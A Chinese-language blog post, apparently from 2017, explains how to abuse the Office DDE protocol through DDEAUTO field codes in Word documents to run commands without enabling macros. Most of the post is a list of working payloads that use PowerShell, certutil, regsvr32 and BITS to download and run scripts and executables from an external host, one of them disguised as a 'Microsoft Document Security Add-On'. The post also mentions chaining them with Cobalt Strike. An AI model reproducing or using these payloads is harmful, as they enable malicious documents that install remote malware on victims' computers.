简介

Windows 为应用之间进行数据传输提供了多种传输方式,其中一种叫做动态交换协议,我们简称它为DDE协议。DDE协议其实就是一套信息与指导参考。它在共享数据的应用程序之间发送消息,并使用共享内存在应用程序之间进行数据交换。应用程序可以使用DDE协议进行一次性数据传输和持续交换,应用程序在新的数据可用时,会将更新发送给彼此。

可以通过office使用DDE来执行命令,这样可以不用启用宏。

方法

新建Word文档,Ctrl+F9添加一个域,然后修改域代码为

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"

Snipaste_2017-10-27_12-50-01.png

请输入图片描述

其它的一些payload

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "http://willgenovese.com/hax/index.js"; -Destination "index.js" & start c:\\Windows\System32\cmd.exe /c cscript.exe index.js"

DDEAUTO c:\\windows\\system32\\cmd.exe "/k regsvr32 /s /n /u /i:http://willgenovese.com/hax/calc.sct scrobj.dll "

DDEAUTO c:\\windows\\system32\\cmd.exe "/k certutil -urlcache -split -f http://willgenovese.com/hax/test.exe && test.exe"

DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1');powershell -e $e "

DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1'); # " "Microsoft Document Security Add-On"

进一步利用,这里结合cobalt strike,这里使用的是这个payload

DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1'); # " "Microsoft Document Security Add-On"

333333.gif

Snipaste_2017-10-27_13-41-48.png

总结

OFFICE DDE优点是不用启用宏,缺点是要点击两次确认才会执行。希望以后能发现有更好的利用方式。

参考

  1. Office DDEAUTO attacks